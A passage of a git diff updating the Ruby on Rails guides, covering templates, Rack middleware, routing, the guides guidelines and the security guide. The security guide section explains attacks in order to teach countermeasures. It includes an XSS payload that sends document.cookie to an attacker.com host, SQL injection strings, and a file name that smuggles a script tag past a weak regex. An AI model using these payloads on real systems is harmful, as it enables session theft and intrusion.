no?(question) acts just the opposite. </ruby> -h4. git(:must => "-a love") +h4. git(:command) Rails templates let you run any git command: @@ -238,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index aa53aa6db6..d6cbd84b1f 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -89,36 +89,45 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: <ruby> +use ActionDispatch::Static use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} -use Rails::Rack::Metal -use ActionDispatch::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head +use ActiveSupport::Cache::Strategy::LocalCache +use Rack::Runtime +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::RemoteIp +use Rack::Sendfile +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache -run ActionController::Dispatcher.new +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use Rack::MethodOverride +use ActionDispatch::Head +use ActionDispatch::BestStandardsSupport +run Blog::Application.routes </ruby> Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. h4. Configuring Middleware Stack -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. h5. Adding a Middleware You can add a new middleware to the middleware stack using any of the following methods: -* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. +* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack. -* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack. +* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack. -* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack. +* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. <ruby> -# config/environment.rb +# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon @@ -133,7 +142,7 @@ h5. Swapping a Middleware You can swap an existing middleware in the middleware stack using +config.middleware.swap+. <ruby> -# config/environment.rb +# config/application.rb # Replace ActionController::Failsafe with Lifo::Failsafe config.middleware.swap ActionController::Failsafe, Lifo::Failsafe @@ -154,20 +163,21 @@ h4. Internal Middleware Stack Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them: |_.Middleware|_.Purpose| -|+Rack::Lock+|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.| +|+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.| |+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| |+ActiveRecord::QueryCache+|Enables the Active Record query cache.| -|+ActionController::Session::CookieStore+|Uses the cookie based session store.| -|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.| +|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.| +|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.| |+ActiveRecord::SessionStore+|Uses the database based session store.| -|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.| +|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.| |+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| TIP: It's possible to use any of the above middlewares in your custom Rack stack. h4. Customizing Internal Middleware Stack -It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+. +It's possible to replace the entire middleware stack with a custom stack using <tt>ActionController::Dispatcher.middleware=</tt>. Put the following in an initializer: @@ -198,7 +208,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp <strong>Clear the existing Rails middleware stack</strong> <ruby> -# environment.rb +# config/application.rb config.middleware.clear </ruby> @@ -207,7 +217,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -223,8 +233,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 99fdcee68a..f281009fee 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -68,7 +68,7 @@ Rails would dispatch that request to the +destroy+ method on the +photos+ contro h4. CRUD, Verbs, and Actions -In Rails, a resourceful route provides a mapping between HTTP verbs and URLs and controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as +In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as <ruby> resources :photos @@ -94,8 +94,8 @@ Creating a resourceful route will also expose a number of helpers to the control * +photos_path+ returns +/photos+ * +new_photo_path+ returns +/photos/new+ -* +edit_photo_path(id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+) -* +photo_path(id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+) +* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+) +* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+) Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix. @@ -163,14 +163,14 @@ end This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create: -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/admin/posts |index | admin_posts_path | -|GET |/admin/posts/new |new | new_admin_posts_path | -|POST |/admin/posts |create | admin_posts_path | -|GET |/admin/posts/1 |show | admin_post_path(id) | -|GET |/admin/posts/1/edit |edit | edit_admin_post_path(id) | -|PUT |/admin/posts/1 |update | admin_post_path(id) | -|DELETE |/admin/posts/1 |destroy | admin_post_path(id) | +|_.HTTP Verb |_.Path |_.action |_.named helper | +|GET |/admin/posts |index | admin_posts_path | +|GET |/admin/posts/new |new | new_admin_post_path | +|POST |/admin/posts |create | admin_posts_path | +|GET |/admin/posts/:id |show | admin_post_path(:id) | +|GET |/admin/posts/:id/edit |edit | edit_admin_post_path(:id) | +|PUT |/admin/posts/:id |update | admin_post_path(:id) | +|DELETE |/admin/posts/:id |destroy | admin_post_path(:id) | If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use @@ -204,12 +204,12 @@ In each of these cases, the named routes remain the same as if you did not use + |_.HTTP Verb |_.Path |_.action |_.named helper | |GET |/admin/posts |index | posts_path | -|GET |/admin/posts/new |new | posts_path | +|GET |/admin/posts/new |new | new_post_path | |POST |/admin/posts |create | posts_path | -|GET |/admin/posts/1 |show | post_path(id) | -|GET |/admin/posts/1/edit |edit | edit_post_path(id) | -|PUT |/admin/posts/1 |update | post_path(id) | -|DELETE |/admin/posts/1 |destroy | post_path(id) | +|GET |/admin/posts/:id |show | post_path(:id) | +|GET |/admin/posts/:id/edit|edit | edit_post_path(:id)| +|PUT |/admin/posts/:id |update | post_path(:id) | +|DELETE |/admin/posts/:id |destroy | post_path(:id) | h4. Nested Resources @@ -236,13 +236,13 @@ end In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine: |_.HTTP Verb |_.Path |_.action |_.used for | -|GET |/magazines/1/ads |index |display a list of all ads for a specific magazine | -|GET |/magazines/1/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine | -|POST |/magazines/1/ads |create |create a new ad belonging to a specific magazine | -|GET |/magazines/1/ads/1 |show |display a specific ad belonging to a specific magazine | -|GET |/magazines/1/ads/1/edit |edit |return an HTML form for editing an ad belonging to a specific magazine | -|PUT |/magazines/1/ads/1 |update |update a specific ad belonging to a specific magazine | -|DELETE |/magazines/1/ads/1 |destroy |delete a specific ad belonging to a specific magazine | +|GET |/magazines/:id/ads |index |display a list of all ads for a specific magazine | +|GET |/magazines/:id/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine | +|POST |/magazines/:id/ads |create |create a new ad belonging to a specific magazine | +|GET |/magazines/:id/ads/:id |show |display a specific ad belonging to a specific magazine | +|GET |/magazines/:id/ads/:id/edit |edit |return an HTML form for editing an ad belonging to a specific magazine | +|PUT |/magazines/:id/ads/:id |update |update a specific ad belonging to a specific magazine | +|DELETE |/magazines/:id/ads/:id |destroy |delete a specific ad belonging to a specific magazine | This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+). @@ -288,7 +288,7 @@ When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want: <erb> -<%= link_to "Ad details", url_for(@magazine, @ad) %> +<%= link_to "Ad details", url_for([@magazine, @ad]) %> </erb> In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call: @@ -560,13 +560,19 @@ would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +par NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route: <ruby> -map '*pages' => 'pages#show' +match '*pages' => 'pages#show' </ruby> NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this: <ruby> -map '*pages' => 'pages#show', :format => false +match '*pages' => 'pages#show', :format => false +</ruby> + +NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this: + +<ruby> +match '*pages' => 'pages#show', :format => true </ruby> h4. Redirection @@ -590,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -628,16 +636,16 @@ resources :photos, :controller => "images" will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller: -|_.HTTP Verb |_.Path |_.action |_.named helper | -|GET |/photos |index | photos_path | -|GET |/photos/new |new | new_photo_path | -|POST |/photos |create | photos_path | -|GET |/photos/1 |show | photo_path(id) | -|GET |/photos/1/edit |edit | edit_photo_path(id) | -|PUT |/photos/1 |update | photo_path(id) | -|DELETE |/photos/1 |destroy | photo_path(id) | +|_.HTTP Verb |_.Path |_.action |_.named helper | +|GET |/photos |index | photos_path | +|GET |/photos/new |new | new_photo_path | +|POST |/photos |create | photos_path | +|GET |/photos/:id |show | photo_path(:id) | +|GET |/photos/:id/edit |edit | edit_photo_path(:id) | +|PUT |/photos/:id |update | photo_path(:id) | +|DELETE |/photos/:id |destroy | photo_path(:id) | -NOTE: Use +photos_path+, +new_photos_path+, etc. to generate paths for this resource. +NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource. h4. Specifying Constraints @@ -672,14 +680,14 @@ resources :photos, :as => "images" will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers. -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/photos |index | images_path | -|GET |/photos/new |new | new_image_path | -|POST |/photos |create | images_path | -|GET |/photos/1 |show | image_path(id) | -|GET |/photos/1/edit |edit | edit_image_path(id) | -|PUT |/photos/1 |update | image_path(id) | -|DELETE |/photos/1 |destroy | image_path(id) | +|_.HTTP verb|_.Path |_.action |_.named helper | +|GET |/photos |index | images_path | +|GET |/photos/new |new | new_image_path | +|POST |/photos |create | images_path | +|GET |/photos/:id |show | image_path(:id) | +|GET |/photos/:id/edit |edit | edit_image_path(:id) | +|PUT |/photos/:id |update | image_path(:id) | +|DELETE |/photos/:id |destroy | image_path(:id) | h4. Overriding the +new+ and +edit+ Segments @@ -776,14 +784,14 @@ end Rails now creates routes to the +CategoriesController+. -|_.HTTP verb|_.Path |_.action |_.named helper | -|GET |/kategorien |index | categories_path | -|GET |/kategorien/neu |new | new_category_path | -|POST |/kategorien |create | categories_path | -|GET |/kategorien/1 |show | category_path(id) | -|GET |/kategorien/1/bearbeiten |edit | edit_category_path(id) | -|PUT |/kategorien/1 |update | category_path(id) | -|DELETE |/kategorien/1 |destroy | category_path(id) | +|_.HTTP verb|_.Path |_.action |_.named helper | +|GET |/kategorien |index | categories_path | +|GET |/kategorien/neu |new | new_category_path | +|POST |/kategorien |create | categories_path | +|GET |/kategorien/:id |show | category_path(:id) | +|GET |/kategorien/:id/bearbeiten |edit | edit_category_path(:id) | +|PUT |/kategorien/:id |update | category_path(:id) | +|DELETE |/kategorien/:id |destroy | category_path(:id) | h4. Overriding the Singular Form @@ -823,10 +831,10 @@ If you want a complete list of all of the available routes in your application, For example, here's a small section of the +rake routes+ output for a RESTful route: <pre> - users GET /users {:controller=>"users", :action=>"index"} -formatted_users GET /users.:format {:controller=>"users", :action=>"index"} - POST /users {:controller=>"users", :action=>"create"} - POST /users.:format {:controller=>"users", :action=>"create"} + users GET /users(.:format) users#index + POST /users(.:format) users#create + new_user GET /users/new(.:format) users#new +edit_user GET /users/:id/edit(.:format) users#edit </pre> You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable: @@ -875,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* Febuary 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 26a5a4c3c9..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -62,10 +62,10 @@ To force process of all the guides, pass +ALL=1+. It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links. -If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +LANGUAGE+ environment variable: +If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable: <plain> -rake generate_guides LANGUAGE=es +bundle exec rake generate_guides GUIDES_LANGUAGE=es </plain> h3. HTML Validation @@ -73,12 +73,7 @@ h3. HTML Validation Please validate the generated HTML with: <plain> -rake validate_guides +bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index e0ccc7a6e6..c2ef7bf9b5 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -15,7 +15,7 @@ endprologue. h3. Introduction -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -23,7 +23,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems. +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems. h3. Sessions @@ -80,12 +80,11 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -158,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i <ruby> class Session < ActiveRecord::Base def self.sweep(time = 1.hour) - time = time.split.inject { |count, unit| - count.to_i.send(unit) - } if time.is_a?(String) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end @@ -209,7 +208,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST ( * The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or * The user is _(highlight)held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. @@ -386,7 +385,7 @@ params[:user] # => {:name => “ow3ned”, :admin => true} So if you create a new user using mass-assignment, it may be too easy to become an administrator. -Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: <ruby> class Person < ActiveRecord::Base @@ -469,13 +468,13 @@ A more paranoid technique to protect your whole project would be to enforce that config.active_record.whitelist_attributes = true </ruby> -This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests. +This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests. h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): @@ -540,7 +539,7 @@ Most bots are really dumb, they crawl the web and put their spam into every form Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: * position the fields off of the visible area of the page -* make the elements very small or colour them the same as the background of the page +* make the elements very small or color them the same as the background of the page * leave the fields displayed, but tell humans to leave them blank The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. @@ -567,7 +566,7 @@ h4. Good Passwords -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. @@ -583,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -596,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -617,7 +616,7 @@ This is alright for some web applications, but certainly not if the user is not Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. -Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. +Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. h3. Injection @@ -649,7 +648,7 @@ h5(#sql-injection-introduction). Introduction SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: <ruby> -Project.all(:conditions => "name = '#{params[:name]}'") +Project.where("name = '#{params[:name]}'") </ruby> This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: @@ -681,7 +680,7 @@ h5. Unauthorized Reading The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: <ruby> -Project.all(:conditions => "name = '#{params[:name]}'") +Project.where("name = '#{params[:name]}'") </ruby> And now let's inject another query using the UNION statement: @@ -703,18 +702,18 @@ Also, the second query renames some columns with the AS statement so that the we h5(#sql-injection-countermeasures). Countermeasures -Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+:conditions => "..."+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. +Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>. Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: <ruby> -Model.first(:conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) +Model.where("login = ? AND password = ?", entered_user_name, entered_password).first </ruby> As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: <ruby> -Model.first(:conditions => {:login => entered_user_name, :password => entered_password}) +Model.where(:login => entered_user_name, :password => entered_password).first </ruby> The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_. @@ -763,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -825,7 +824,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> </html> -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails' sanitize() method does a good job to fend off encoding attacks. h5. Examples from the Underground @@ -885,7 +884,7 @@ The "moz-binding":http://www.securiteam.com/securitynews/5LP051FHPE.html CSS pro h5(#css-injection-countermeasures). Countermeasures -This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to 